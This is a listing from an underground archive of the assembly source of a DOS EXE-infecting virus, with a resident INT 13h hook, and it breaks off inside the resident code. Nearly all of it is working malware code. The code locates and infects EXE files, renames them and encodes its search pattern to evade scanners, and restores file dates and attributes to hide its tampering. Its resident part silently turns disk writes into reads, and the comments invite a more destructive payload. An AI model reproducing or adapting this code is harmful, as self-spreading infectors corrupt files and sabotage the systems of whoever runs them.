home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / u-z / vcomm.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  29.5 KB  |  724 lines

  1. ;--------------------------------------------------------------------;
  2.  
  3. ;                                                                    ;
  4.  
  5. ;                  EXE virus, with resident part                     ;
  6.  
  7. ;                                                                    ;
  8.  
  9. ;                   ---- infecting program ----                      ;
  10.  
  11. ;                                                                    ;
  12.  
  13. ;--------------------------------------------------------------------;
  14.  
  15.   
  16.  
  17. ;--------------------------------------------------------------------;
  18.  
  19. ;                                                                    ;
  20.  
  21. ;    WARNING : it's definitely NOT safe to assemble and execute      ;
  22.  
  23. ;    this code. If anybody has to, I highly reccomend using          ;
  24.  
  25. ;    a diskette and debugger.                                        ;
  26.  
  27. ;                                                                    ;
  28.  
  29. ;--------------------------------------------------------------------;
  30.  
  31.   
  32.  
  33. ;*********************************************************************
  34.  
  35.   
  36.  
  37. ;--------------------------------------------------------------------;
  38.  
  39. ;                                                                    ;
  40.  
  41. ; The EXE virus concept is as follows:                               ;
  42.  
  43. ;                                                                    ;
  44.  
  45. ; First, original Disk Transfer Address is preserved to avoid        ;
  46.  
  47. ; changing command-line text. Also initial values of CS, IP, SS, SP  ;
  48.  
  49. ; DS and ES are saved (to be restored on exit from virus code).      ;
  50.  
  51. ;   Virus is to be appended to original code and, of course, has     ;
  52.  
  53. ; to be relocated before it's executed. Thus, first we look for      ;
  54.  
  55. ; an EXE file. Then we have to know if this is in fact an EXE        ;
  56.  
  57. ; (checking for magic 'MZ' signature) and if there is any free space ;
  58.  
  59. ; in relocation table. This is checked by substracting relocation    ;
  60.  
  61. ; table end (i.e. sum of table start and number of relocation items, ;
  62.  
  63. ; multiplied by table entry size) from EXE header size.              ;
  64.  
  65. ;   Smart virus shouldn't infect a file that's already infected.     ;
  66.  
  67. ; So first 4 bytes of code to be executed is compared against        ;
  68.  
  69. ; virus code. If they match one another, no infection takes place.   ;
  70.  
  71. ;   Having found suitable file, we compute its code end and append   ;
  72.  
  73. ; virus at the end of code, writing alignment to last 512-bytes page ;
  74.  
  75. ; boundary if necessary. Original start address is preserved inside  ;
  76.  
  77. ; virus, and CS:IP value in EXE header gets changed, so that virus   ;
  78.  
  79. ; code would be executed first. Number of pages gets changed,        ;
  80.  
  81. ; together with Last Page Size and Number Of Relocation Items.       ;
  82.  
  83. ;   New relocation item address is appended to relocation table,     ;
  84.  
  85. ; pointing to the segment of the far jump in virus (this is the jump ;
  86.  
  87. ; virus uses to return to original code).                            ;
  88.  
  89. ;   Upon returning from virus, all saved registers and DTA are       ;
  90.  
  91. ; restored to reestablish environment state as if no virus existed.  ;
  92.  
  93. ;                                                                    ;
  94.  
  95. ;   Virus also installs resident part, if it is not already present. ;
  96.  
  97. ; This part's job is to replace all disk 'writes' with corresponding ;
  98.  
  99. ; 'reads'. It's rather unharmful, but can easily be replaced with    ;
  100.  
  101. ; more dangerous one (if somebody is really keen to be called ...).  ;
  102.  
  103. ; Instalation can be removed with equal ease, as well.               ;
  104.  
  105. ;                                                                    ;
  106.  
  107. ;   The real trouble with EXEs is that DOS pays a little (if any)    ;
  108.  
  109. ; attention to Last Page Size. Therefore EXE files ofen have this    ;
  110.  
  111. ; zeroed, even if they have some code on the last page. Writing to   ;
  112.  
  113. ; last page can cause system crash while infected file is being      ;
  114.  
  115. ; executed. To solve the problem, one should first test if EXE file  ;
  116.  
  117. ; really ends as the header contents say and move to last page end   ;
  118.  
  119. ; instead of appending any bytes, if possible.                       ;
  120.  
  121. ;                                                                    ;
  122.  
  123. ;   Another problem is infecting EXEs containg debug info.           ;
  124.  
  125. ; It comes in various formats, and often contains vital informations ;
  126.  
  127. ; placed behind code. This info gets destroyed when file becomes     ;
  128.  
  129. ; infected. I see no solution to this problem, so far.               ;
  130.  
  131. ;                                                                    ;
  132.  
  133. ;--------------------------------------------------------------------;
  134.  
  135.   
  136.  
  137. ;********************************************************************;
  138.  
  139.   
  140.  
  141. ;--------------------------------------------------------------------;
  142.  
  143. ;                                                                    ;
  144.  
  145. ;                        SEGMENT dummy                               ;
  146.  
  147. ;                                                                    ;
  148.  
  149. ;   Raison d'etre of this segment is to force assembling of          ;
  150.  
  151. ;   the JMP FAR after the execution of virus code.                   ;
  152.  
  153. ;                                                                    ;
  154.  
  155. ;   This segment serves also to make it possible for the infecting   ;
  156.  
  157. ;   program to return to DOS.                                        ;
  158.  
  159. ;                                                                    ;
  160.  
  161. ;--------------------------------------------------------------------;
  162.  
  163.   
  164.  
  165.   
  166.  
  167.     dummy    segment  'dummy'
  168.  
  169.   
  170.  
  171.              assume cs: dummy
  172.  
  173.   
  174.  
  175.     d_end    label far          ; this is the point virus jumps to
  176.  
  177.                                 ; after executing itself
  178.  
  179.              mov  ah, 4Ch
  180.  
  181.              int  21h           ; DOS EXIT function
  182.  
  183.   
  184.  
  185.     dummy    ends
  186.  
  187.   
  188.  
  189. ;--------------------------------------------------------------------;
  190.  
  191. ;                                                                    ;
  192.  
  193. ;                        SEGMENT code                                ;
  194.  
  195. ;                                                                    ;
  196.  
  197. ;   Code for virus (including its resident part).                    ;
  198.  
  199. ;                                                                    ;
  200.  
  201. ;   Executed from label start:. Exits via dummy:d_end.               ;
  202.  
  203. ;                                                                    ;
  204.  
  205. ;--------------------------------------------------------------------;
  206.  
  207.   
  208.  
  209.     code     segment  'code'
  210.  
  211.   
  212.  
  213.              public   start, jump, old_IP, old_CS, old_DTA,
  214.  
  215.              public   next, ok, exit, header, DTA, file_name, old_SS, old_SP, aux
  216.  
  217.              public   last_page, page_count, item_count, header_size, table_start
  218.  
  219.              public   header_IP, header_CS, header_SS, header_SP, aux_CS, aux_IP
  220.  
  221.              public   not_ok, time, date, attributes, new_name, found_name
  222.  
  223.              public   restore_and_close, dot, seek_dot, next_letter, install_flag
  224.  
  225.              public   next_lttr, EXE_sign, int_CS, int_IP, virus_length, set_ES
  226.  
  227.              public   resident, resident_size, l1, call_int, install, set_DS
  228.  
  229.   
  230.  
  231.              assume   cs : code, ds : code
  232.  
  233.   
  234.  
  235. ;--------------------------------------------------------------------;
  236.  
  237. ;                                                                    ;
  238.  
  239. ;          Here are symbolic names for memory locations              ;
  240.  
  241. ;                                                                    ;
  242.  
  243. ;--------------------------------------------------------------------;
  244.  
  245.   
  246.  
  247. ;  First go names for EXE header contents
  248.  
  249.   
  250.  
  251.     EXE_sign     equ  word ptr [header]
  252.  
  253.     last_page    equ  word ptr [header + 2]
  254.  
  255.     page_count   equ  word ptr [header + 4]
  256.  
  257.     item_count   equ  word ptr [header + 6]
  258.  
  259.     header_size  equ  word ptr [header + 8]
  260.  
  261.     header_SS    equ  word ptr [header + 0Eh]
  262.  
  263.     header_SP    equ  word ptr [header + 10h]
  264.  
  265.     header_IP    equ  word ptr [header + 14h]
  266.  
  267.     header_CS    equ  word ptr [header + 16h]
  268.  
  269.     table_start  equ  word ptr [header + 18h]
  270.  
  271.   
  272.  
  273. ;  Now names for address of mother program
  274.  
  275.   
  276.  
  277.     old_IP       equ  word ptr [jump + 1]
  278.  
  279.     old_CS       equ  word ptr [jump + 3]
  280.  
  281.   
  282.  
  283. ;  Segment to put resident part in, for instance end of 2nd Hercules page
  284.  
  285.   
  286.  
  287.    resident_CS   equ  0BFFEh
  288.  
  289.   
  290.  
  291. ;  And label for the name of the file found by  Find_First and Find_Next
  292.  
  293.   
  294.  
  295.     found_name   equ  DTA + 1Eh
  296.  
  297.   
  298.  
  299. ;  Last is virus length
  300.  
  301.   
  302.  
  303.     virus_length equ  offset header
  304.  
  305.   
  306.  
  307. ;------------ Now starts virus code --------------------------------;
  308.  
  309.  
  310.  
  311. ;  First original values of SS, SP, ES, DS are preserved,
  312.  
  313. ;  and new values for this registers are set
  314.  
  315.   
  316.  
  317.     start:   mov  cx, ss            ; temporarily save SS in CX
  318.  
  319.              mov  dx, sp            ; and SP in DX
  320.  
  321.   
  322.  
  323.              mov  ax, cs            ; now AX = CODE
  324.  
  325.              cli                    ; disable hard ints while changing stack
  326.  
  327.              mov  ss, ax            ; now SS = CODE
  328.  
  329.              mov  sp, 0FFFFh        ; and SS points to segment end
  330.  
  331.              sti                    ; hardware interrupts are OK now
  332.  
  333.   
  334.  
  335.              push ds                ; preserve DS on stack
  336.  
  337.              push es                ; same with ES
  338.  
  339.   
  340.  
  341.              push cs
  342.  
  343.              pop  ds                ; set DS to CODE
  344.  
  345.   
  346.  
  347.              mov  [old_SS], cx      ; now as DS is CODE, we can store
  348.  
  349.              mov  [old_SP], dx      ; original SS and SP in memory
  350.  
  351.   
  352.  
  353. ;  Original DTA is preserved now
  354.  
  355.   
  356.  
  357.              mov  ah, 2Fh
  358.  
  359.              int  21h
  360.  
  361.              mov  word ptr [old_DTA], bx      ; now ES:BX points to DTA
  362.  
  363.              mov  word ptr [old_DTA + 2], es  ; save its address in memory
  364.  
  365.   
  366.  
  367. ;  Call to Get_DTA would have destroyed ES. Now set it
  368.  
  369.   
  370.  
  371.              push ds              ; set  ES to CODE
  372.  
  373.              pop  es
  374.  
  375.   
  376.  
  377. ;  And now new DTA is established for virus disk actions
  378.  
  379.   
  380.  
  381.              mov  dx, offset DTA  ; DS:DX point to new DTA
  382.  
  383.              mov  ah, 1Ah
  384.  
  385.              int  21h
  386.  
  387.   
  388.  
  389. ;  Store original INT_13 vector for use in resident part
  390.  
  391.   
  392.  
  393.              mov  ax, 3513h
  394.  
  395.              int  21h            ; DOS Get_Interrupt_Vector function
  396.  
  397.  
  398.  
  399.              mov  [int_IP], bx   ; now ES:BX holds INT_13 vector
  400.  
  401.              mov  [int_CS], es   ; store it inside resident part
  402.  
  403.   
  404.  
  405. ;  Check if resident part already present
  406.  
  407.   
  408.  
  409.              mov  ax, es           ; compare can work with AX
  410.  
  411.   
  412.  
  413.              cmp  ax, resident_CS  ; check if this is resident_CS
  414.  
  415.              jnz  install          ; no, so install
  416.  
  417.   
  418.  
  419.              cmp  bx, 0            ; is offset 0 ?
  420.  
  421.              jnz  install          ; no, so install
  422.  
  423.   
  424.  
  425. ;  Resident part found, do not install
  426.  
  427.   
  428.  
  429.              mov  [install_flag], 0 ; signal 'no installing'
  430.  
  431.   
  432.  
  433.              jmp  short  set_ES     ; and omit copying code
  434.  
  435.   
  436.  
  437. ;  Now resident part is moved to its place in memory
  438.  
  439.   
  440.  
  441. install:     mov  ax, resident_CS
  442.  
  443.              mov  es, ax              ; ES = segment for resident part
  444.  
  445.              xor  di, di              ; DI = 0, resident starts from offset 0
  446.  
  447.              mov  si, offset resident ; SI = offset in DS for resident part
  448.  
  449.              mov  cx, resident_size   ; CX = size of resident part
  450.  
  451.   
  452.  
  453.              cld                      ; set auto increment
  454.  
  455.              rep  movsb               ; copy resident part from DS:SI to ES:DI
  456.  
  457.   
  458.  
  459.              mov  [install_flag], 1   ; signal 'instal vector'
  460.  
  461.   
  462.  
  463. ;  Reestablish destroyed ES to CODE
  464.  
  465.   
  466.  
  467.   set_ES:    push ds
  468.  
  469.              pop  es
  470.  
  471.   
  472.  
  473. ;  Now decode "*.EXE" name pattern. It's coded to disable 'eye-shot' discovery
  474.  
  475.   
  476.  
  477.              mov  si, offset file_name   ; name pattern starts there
  478.  
  479.              mov  cx, 5                  ; and is 5 bytes long
  480.  
  481.   
  482.  
  483. next_letter: inc  byte ptr [si]          ; decode by incrementing by one
  484.  
  485.              inc  si
  486.  
  487.              loop next_letter            ; decode all 5 bytes
  488.  
  489.   
  490.  
  491. ;  Find an EXE file
  492.  
  493.   
  494.  
  495.              mov  dx, offset file_name   ; DS:DX points to '*.EXE'
  496.  
  497.              mov  cx, 20h                ; search for read-only files too
  498.  
  499.   
  500.  
  501.              mov  ah, 4Eh                ; DOS Find_First function
  502.  
  503.              int  21h                    ; now DTA gets filled with info
  504.  
  505.   
  506.  
  507.              jnc  check                  ; no carry means file found
  508.  
  509.                                          ; jump to check if to infect file
  510.  
  511.   
  512.  
  513.              jmp  exit                   ; no EXE file - nothing to do
  514.  
  515.   
  516.  
  517. ;  Find next EXE file, if necessary
  518.  
  519.   
  520.  
  521.     next:    mov  ah, 4Fh                ;DOS Find_Next function
  522.  
  523.              int  21h
  524.  
  525.   
  526.  
  527.              jnc  check                  ; see jumps after Find_First
  528.  
  529.              jmp  exit                   ; for explanation
  530.  
  531.   
  532.  
  533. ;  Check if file should and can be infected
  534.  
  535.   
  536.  
  537. ;  First of all, get file attributes
  538.  
  539.   
  540.  
  541.     check:   mov  dx, offset found_name   ; DS:DX points to found file name
  542.  
  543.   
  544.  
  545.              mov  ax, 4300h               ; DOS Get_File_Attributes function
  546.  
  547.              int  21h                     ; attributes returned in CX
  548.  
  549.   
  550.  
  551.              mov  [attributes], cx        ; preserve them in memory
  552.  
  553.   
  554.  
  555. ;  Then change file attributes to 'neutral'
  556.  
  557.   
  558.  
  559.              mov  dx, offset found_name   ; DS:DX points to found file name
  560.  
  561.              xor  cx, cx                  ; CX = 0 - means no attributes set
  562.  
  563.   
  564.  
  565.              mov  ax, 4301h               ; DOS Set_File_Attributes function
  566.  
  567.              int  21h                     ; attributes to be set in CX
  568.  
  569.   
  570.  
  571. ;  To avoid being spotted by VIRBLK, rename ????????.EXE to ???????.
  572.  
  573.   
  574.  
  575.              mov  si, offset found_name   ; DS:DX points to found file name
  576.  
  577.              mov  di, offset new_name     ; ES:DI points to new name
  578.  
  579.   
  580.  
  581.              cld                          ; set auto increment
  582.  
  583.   
  584.  
  585. ;  Copy old name to new name until dot found
  586.  
  587.   
  588.  
  589.   seek_dot:  lodsb                        ; get character at DS:SI
  590.  
  591.              cmp  al, '.'                 ; check if it is a dot
  592.  
  593.              stosb                        ; copy it anyway to ES:DI
  594.  
  595.   
  596.  
  597.              jz   dot                     ; dot found, end of copying
  598.  
  599.   
  600.  
  601.              loop seek_dot                ; if no dot, copy next character
  602.  
  603.   
  604.  
  605. ;  DOS requires ASCIIZ strings, so append a byte of 0 to new name
  606.  
  607.   
  608.  
  609.        dot:  xor  al, al                  ; AL = 0
  610.  
  611.              stosb                        ; store 0 to byte at ES:DI
  612.  
  613.   
  614.  
  615. ;  Now rename can be performed
  616.  
  617.   
  618.  
  619.              mov  dx, offset found_name   ; DS:DX points to old name
  620.  
  621.              mov  di, offset new_name     ; ES:DI points to new name
  622.  
  623.   
  624.  
  625.              mov  ah, 56h                 ; DOS Rename_File function
  626.  
  627.              int  21h
  628.  
  629.   
  630.  
  631. ;  It is safe to open file now
  632.  
  633.   
  634.  
  635.              mov  dx, offset new_name     ; DS:DX points to file name
  636.  
  637.   
  638.  
  639.              mov  ax, 3D02h               ; DOS Open_File_Handle fuction
  640.  
  641.              int  21h                     ; open file for reading and writing
  642.  
  643.   
  644.  
  645.              jc   next                    ; carry set means for some reason
  646.  
  647.                                           ; operation failed
  648.  
  649.                                           ; try to find next file
  650.  
  651.   
  652.  
  653. ;  Preserve handle for just open file in BX register
  654.  
  655.   
  656.  
  657.              mov  bx, ax                  ; all DOS calls require handle in BX
  658.  
  659.   
  660.  
  661. ;  Now store original file time and date, to be restored on closing the file
  662.  
  663.   
  664.  
  665.              mov  ax, 5700h               ; DOS Get_File_Time_Date function
  666.  
  667.              int  21h                     ; time returned in CX, date in DX
  668.  
  669.   
  670.  
  671.              mov  [time], cx              ; store time in memory
  672.  
  673.              mov  [date], dx              ; same with date
  674.  
  675.   
  676.  
  677. ;  Read EXE header to memory
  678.  
  679.   
  680.  
  681.              mov  dx, offset header       ; DS:DX = place to read header to
  682.  
  683.              mov  cx, 1Ah                 ; header is 1Ah bytes long
  684.  
  685.   
  686.  
  687.              mov  ah, 3Fh                 ; DOS Read_Handle function
  688.  
  689.              int  21h
  690.  
  691.   
  692.  
  693. ;  Check if it is a real EXE, not just EXE-named file
  694.  
  695.   
  696.  
  697.  check_EXE:  cmp  EXE_sign, 5A4Dh         ; first two bytes of header should
  698.  
  699.                                           ; contain 'MZ' characters
  700.  
  701.   
  702.  
  703.          jne  not_ok                  ; if not, don't proceed with file
  704.  
  705.   
  706.  
  707. ;  It is EXE, check if it is already infected
  708.  
  709. ;  by comparing code start with itself
  710.  
  711.   
  712.  
  713. ;  Compute where code in file starts
  714.  
  715.   
  716.  
  717.              mov  ax, [header_CS]         ; get start CS for file
  718.  
  719.              add  ax, [header_size]       ; add header size
  720.  
  721.   
  722.  
  723.              mov  cx, 16                  ; above were in 16 bytes units
  724.  
  725.              mul  cx                      ; so multiply by 16
  726.  
  727.                                           ; DX|AX holds result
  728.  
  729.   
  730.  
  731.              add  ax, [header_IP]         ; add for IP
  732.  
  733.              adc  dx, 0                   ; propagate carry if necessasry
  734.  
  735.   
  736.  
  737. ;  Now DX|AX holds file offset for code start, move there
  738.  
  739.   
  740.  
  741.              mov  cx, dx                  ; set registers for DOS call
  742.  
  743.              mov  dx, ax
  744.  
  745.   
  746.  
  747.              mov  ax, 4200h               ; DOS Move_File_Ptr function
  748.  
  749.              int  21h                     ; move relatively to start
  750.  
  751.   
  752.  
  753. ;  Read first four bytes of code
  754.  
  755.   
  756.  
  757.              mov  dx, offset aux          ; DS:DX = place to read code into
  758.  
  759.              mov  cx, 4                   ; CX = number of bytes to read
  760.  
  761.   
  762.  
  763.              mov  ah, 3Fh                 ; DOS Read_Handle function
  764.  
  765.              int  21h
  766.  
  767.   
  768.  
  769. ;  Compare them with itself
  770.  
  771.   
  772.  
  773.              mov  di, offset aux          ; ES:DI points to code from file
  774.  
  775.              mov  si, offset start        ; DS:SI points to itself start
  776.  
  777.              mov  cx, 2                   ; CX = number of words to compare
  778.  
  779.              cld                          ; set auto increment
  780.  
  781.   
  782.  
  783.              repe cmpsw                   ; compare while equal
  784.  
  785.   
  786.  
  787.              je   not_ok                  ; equal = infected, don't proceed
  788.  
  789.   
  790.  
  791. ;  Check if there is space in relocation table to put one more item
  792.  
  793.   
  794.  
  795. ;  Calculate where Relocation_Table ends
  796.  
  797.   
  798.  
  799.              mov  ax, [item_count]        ; get number of Relocation Items
  800.  
  801.              inc  ax                      ; add for new one
  802.  
  803.              mov  cx, 4                   ; each one is 4 bytes long
  804.  
  805.              mul  cx                      ; so multiply by 4
  806.  
  807.                                           ; DX|AX holds result
  808.  
  809.   
  810.  
  811.              add  ax, [table_start]       ; add offset of Relocation_Table
  812.  
  813.              adc  dx, 0                   ; process carry
  814.  
  815.   
  816.  
  817. ;  Now DX|AX holds file offset for table end, store it temporarily in DI|SI
  818.  
  819.   
  820.  
  821.              mov  di, dx                  ; preserve Relocation_Table offset
  822.  
  823.              mov  si, ax
  824.  
  825.   
  826.  
  827. ;  Calculate where code starts (in file)
  828.  
  829.   
  830.  
  831.              mov  ax, [header_size]       ; get header size for this EXE
  832.  
  833.              mov  cx, 10h                 ; as it is in 16 byte units,
  834.  
  835.              mul  cx                      ; multiply by 16
  836.  
  837.                                           ; DX|AX holds result
  838.  
  839.   
  840.  
  841. ;  See if there is free space for relocation item
  842.  
  843.   
  844.  
  845.              sub  ax, si                  ; substract Relocation_Table end
  846.  
  847.              sbb  dx, di
  848.  
  849.   
  850.  
  851.              jae  ok                      ; Relocation_Table end not less
  852.  
  853.                                           ; then code start, so there IS room
  854.  
  855.   
  856.  
  857. ;  If somehow this file is not to be infected, restore it's original state
  858.  
  859.   
  860.  
  861.     not_ok:  call restore_and_close
  862.  
  863.   
  864.  
  865.              jmp  next          ; nevertheless, try to find infectable one
  866.  
  867.   
  868.  
  869. ;  File is to be infected now
  870.  
  871.   
  872.  
  873. ;  First adjust file offset for new relocation item
  874.  
  875.   
  876.  
  877.     ok:      sub  si, 4                   ; new item starts 4 bytes
  878.  
  879.              sbb  di, 0                   ; before Relocation_Table end
  880.  
  881.   
  882.  
  883. ;  Then preserve temporarily address of the mother code
  884.  
  885.   
  886.  
  887.              mov  ax, [old_CS]           ; preserve jump address via AX
  888.  
  889.              mov  [aux_CS], ax           ; in memory
  890.  
  891.              mov  ax, [old_IP]
  892.  
  893.              mov  [aux_IP], ax
  894.  
  895.   
  896.  
  897. ;  Form inside itself a jump to new mother start
  898.  
  899.   
  900.  
  901.              mov  ax, [header_IP]        ; store new mother CS:IP as jump
  902.  
  903.              mov  [old_IP], ax           ; do it via AX
  904.  
  905.              mov  ax, [header_CS]
  906.  
  907.              mov  [old_CS], ax
  908.  
  909.   
  910.  
  911. ;  Calculate last page alignment
  912.  
  913.   
  914.  
  915.              mov  cx, [last_page]         ; CX = number of bytes in last page
  916.  
  917.              mov  ax, 200h                ; AX = page size (page is 512 bytes)
  918.  
  919.   
  920.  
  921.              sub  ax, cx                  ; CX = alignment to page boundary
  922.  
  923.   
  924.  
  925.              mov  bp, ax                  ; preserve alignment in BP
  926.  
  927.   
  928.  
  929. ; Calculate new CS:IP values to execute virus instead of mother
  930.  
  931.   
  932.  
  933.              mov  ax, [page_count]        ; get number of pages in new mother
  934.  
  935.              mov  cx, 20h                 ; multiply by 32 to convert to
  936.  
  937.              mul  cx                      ; 16 bytes units
  938.  
  939.   
  940.  
  941.              sub  ax, [header_size]       ; decrease by header size
  942.  
  943.   
  944.  
  945. ;  Modify header as necessary
  946.  
  947.   
  948.  
  949.              mov  [header_CS], ax         ; AX holds CS for virus
  950.  
  951.              xor  ax, ax                  ; now zero AX
  952.  
  953.              mov  [header_IP], ax         ; as IP for virus is 0
  954.  
  955.   
  956.  
  957.              add  [page_count], 2         ; reserve space for virus
  958.  
  959.   
  960.  
  961.              inc  [item_count]            ; there'll be one more item
  962.  
  963.   
  964.  
  965.              mov  [last_page], offset header   ; last page will be as long
  966.  
  967.                                                ; as virus itself
  968.  
  969.              and  [last_page], 1FFh            ; modulo 512, of course
  970.  
  971.   
  972.  
  973. ;  Move to file start
  974.  
  975.   
  976.  
  977.              xor  cx, cx                 ; start means offset 0
  978.  
  979.              xor  dx, dx
  980.  
  981.   
  982.  
  983.              mov  ax, 4200h              ; DOS Move_File_Ptr function
  984.  
  985.              int  21h                    ; move relatively to start
  986.  
  987.   
  988.  
  989. ;  Write new header
  990.  
  991.   
  992.  
  993.              mov  dx, offset header      ; DS:DX points to new header
  994.  
  995.              mov  cx, 1Ah                ; which is still 1A bytes long
  996.  
  997.   
  998.  
  999.              mov  ah, 40h                ; DOS Write_Handle function
  1000.  
  1001.              int  21h
  1002.  
  1003.   
  1004.  
  1005. ;  Move to new Relocation Item position
  1006.  
  1007.   
  1008.  
  1009.              mov  cx, di                 ; get stored position from DI|SI
  1010.  
  1011.              mov  dx, si
  1012.  
  1013.   
  1014.  
  1015.              mov  ax, 4200h              ; DOS Move_File_Ptr function
  1016.  
  1017.              int  21h                    ; move relatively to start
  1018.  
  1019.   
  1020.  
  1021. ;  Write new relocation item
  1022.  
  1023.   
  1024.  
  1025.              mov  [header_IP], offset old_CS ; new Relocation Item offset
  1026.  
  1027.                                              ; is jump to new mother code
  1028.  
  1029.   
  1030.  
  1031.              mov  dx, offset header_IP       ; DS:DX = new relocation item
  1032.  
  1033.              mov  cx, 4                      ; exactly 4 bytes long
  1034.  
  1035.   
  1036.  
  1037.              mov  ah, 40h                 ; DOS Write_Handle function
  1038.  
  1039.              int  21h
  1040.  
  1041.   
  1042.  
  1043. ;  Calculate file offset for new mother code end
  1044.  
  1045.   
  1046.  
  1047.              mov  ax, [header_CS]      ; get mother code lenght
  1048.  
  1049.              add  ax, [header_size]    ; add header size
  1050.  
  1051.              mov  cx, 10h              ; it's in 16 bytes units
  1052.  
  1053.              mul  cx                   ; so multiply by 16
  1054.  
  1055.   
  1056.  
  1057.              sub  ax, bp               ; last page is not full
  1058.  
  1059.              sbb  dx, 0                ; so move back appropirately
  1060.  
  1061.   
  1062.  
  1063. ;  Move file ptr to mother code end
  1064.  
  1065.   
  1066.  
  1067.              mov  cx, dx               ; DX|AX = file offset to code end
  1068.  
  1069.              mov  dx, ax               ; set CX|DX for DOS call
  1070.  
  1071.   
  1072.  
  1073.              mov  ax, 4200h            ; DOS Move_File_Ptr function
  1074.  
  1075.              int  21h                  ; move relatively to start
  1076.  
  1077.   
  1078.  
  1079. ;  Write alignement (no matter what, only number is important)
  1080.  
  1081.   
  1082.  
  1083.              mov  cx, bp               ; get alignement amount
  1084.  
  1085.   
  1086.  
  1087.              mov  ah, 40h              ; DOS Write_Handle function
  1088.  
  1089.              int  21h                  ; write CX bytes
  1090.  
  1091.   
  1092.  
  1093. ;  Now prepare to append itself to EXE file
  1094.  
  1095.   
  1096.  
  1097. ;  First encode EXE name patter anew
  1098.  
  1099.   
  1100.  
  1101.              mov  si, offset file_name   ; DS:SI points to name pattern
  1102.  
  1103.              mov  cx, 5                  ; it is 5 characters long
  1104.  
  1105.   
  1106.  
  1107. next_lttr:   dec  byte ptr [si]          ; encode by decrement
  1108.  
  1109.              inc  si
  1110.  
  1111.              loop next_lttr              ; encode all 5 characters
  1112.  
  1113.   
  1114.  
  1115. ;  All ready, append itself now
  1116.  
  1117.   
  1118.  
  1119.              xor  dx, dx                 ; DX = 0, start offset for virus code
  1120.  
  1121.              mov  cx, virus_length       ; CX = number of bytes to write
  1122.  
  1123.   
  1124.  
  1125.              mov  ah, 40h                ; DOS Write_Handle function
  1126.  
  1127.              int  21h
  1128.  
  1129.   
  1130.  
  1131. ;  No further action involving file will be taken, so restore it's state
  1132.  
  1133.   
  1134.  
  1135.              call restore_and_close      ; restore date and time, close file
  1136.  
  1137.   
  1138.  
  1139. ;  Restore jump to this mother code
  1140.  
  1141.   
  1142.  
  1143.              mov  ax, [aux_CS]         ; restore jump addres via AX
  1144.  
  1145.              mov  [old_CS], ax
  1146.  
  1147.              mov  ax, [aux_IP]
  1148.  
  1149.              mov  [old_IP], ax
  1150.  
  1151.   
  1152.  
  1153. ;  All done with infecting, prepare to execute mother
  1154.  
  1155.   
  1156.  
  1157. ;  Restore original DTA
  1158.  
  1159.   
  1160.  
  1161.              push ds                   ; preserve DS (now DS = CODE)
  1162.  
  1163.   
  1164.  
  1165.     exit:    lds  dx, old_DTA          ; get original DTA address to DS:DX
  1166.  
  1167.   
  1168.  
  1169.              mov  ah, 1Ah              ; DOS Set_DTA function
  1170.  
  1171.              int  21h
  1172.  
  1173.   
  1174.  
  1175. ;  Check if install new INT_13 vector
  1176.  
  1177.   
  1178.  
  1179.              cmp  [install_flag], 0    ; 0 means no installing
  1180.  
  1181.   
  1182.  
  1183.              jz   set_DS               ; omit installing
  1184.  
  1185.   
  1186.  
  1187. ;  Install  resident part
  1188.  
  1189.   
  1190.  
  1191.              mov  ax, resident_CS      ; load CS for resident to DS (via AX)
  1192.  
  1193.              mov  ds, ax
  1194.  
  1195.              xor  dx, dx               ; DS:DX = address of resident part
  1196.  
  1197.   
  1198.  
  1199.              mov  ax, 2513h            ; DOS Set_Interrupt_Vector function
  1200.  
  1201.              int  21h                  ; set vector for INT_13
  1202.  
  1203.   
  1204.  
  1205. set_DS:      pop  ds                   ; restore DS to CODE
  1206.  
  1207.   
  1208.  
  1209.              mov  bx, [old_SS]         ; BX = original SS
  1210.  
  1211.              mov  cx, [old_SP]         ; CX = original SP
  1212.  
  1213.   
  1214.  
  1215.              pop  es                   ; restore original DS and ES
  1216.  
  1217.              pop  ds
  1218.  
  1219.   
  1220.  
  1221.              cli                       ; disable hardware interrupts
  1222.  
  1223.              mov  sp, cx               ; while restoring original SS:SP
  1224.  
  1225.              mov  ss, bx
  1226.  
  1227.              sti                       ; enable hardware interrupts
  1228.  
  1229.   
  1230.  
  1231. ;  Virus has done all its job, now let mother do its own
  1232.  
  1233.   
  1234.  
  1235.     jump:    jmp  dummy:d_end          ; jump to original code
  1236.  
  1237.   
  1238.  
  1239.   
  1240.  
  1241. ;-----------  here is the one and only procedure -------------------;
  1242.  
  1243.   
  1244.  
  1245.     restore_and_close  proc  near
  1246.  
  1247.   
  1248.  
  1249. ;  Restore original file time and date
  1250.  
  1251.   
  1252.  
  1253.              mov  cx, [time]           ; get saved time
  1254.  
  1255.              mov  dx, [date]           ; get saved date
  1256.  
  1257.   
  1258.  
  1259.              mov  ax, 5701h               ; DOS Set_File_Time_Date function
  1260.  
  1261.              int  21h                     ; time set as CX, date as DX
  1262.  
  1263.   
  1264.  
  1265. ;  Close file
  1266.  
  1267.   
  1268.  
  1269.              mov  ah, 3Eh              ; DOS Close_File function
  1270.  
  1271.              int  21h
  1272.  
  1273.   
  1274.  
  1275. ;  Restore original name
  1276.  
  1277.   
  1278.  
  1279.              mov  dx, offset new_name    ; DS:DX points to new name
  1280.  
  1281.              mov  di, offset found_name  ; ES:DI points to original name
  1282.  
  1283.   
  1284.  
  1285.              mov  ah, 56h                 ; DOS Rename_File function
  1286.  
  1287.              int  21h
  1288.  
  1289.   
  1290.  
  1291. ; Restore original file attributes
  1292.  
  1293.   
  1294.  
  1295.              mov  dx, offset found_name   ; restore attributes
  1296.  
  1297.              mov  cx, [attributes]
  1298.  
  1299.   
  1300.  
  1301.              mov  ax, 4301h               ; DOS Set_File_Attributes function
  1302.  
  1303.              int  21h                     ; attributes set as CX
  1304.  
  1305.   
  1306.  
  1307.              ret
  1308.  
  1309.   
  1310.  
  1311.     restore_and_close  endp
  1312.  
  1313.   
  1314.  
  1315.   
  1316.  
  1317. ;------------ and here go the resident part of the virus -------------;
  1318.  
  1319.   
  1320.  
  1321. resident:    pushf                   ; save flags
  1322.  
  1323.   
  1324.  
  1325.              cmp  ah, 3              ; is it Disk_Write_1 ?
  1326.  
  1327.              jnz l1                  ; no, check Disk_Write_2
  1328.  
  1329.   
  1330.  
  1331.              mov  ah, 2              ; yes, convert to Disk_Read_1
  1332.  
  1333.              jmp  short  call_int    ; and exit resident
  1334.  
  1335.   
  1336.  
  1337.       l1:    cmp  ah, 0Bh            ; is it Disk_Write_2 ?
  1338.  
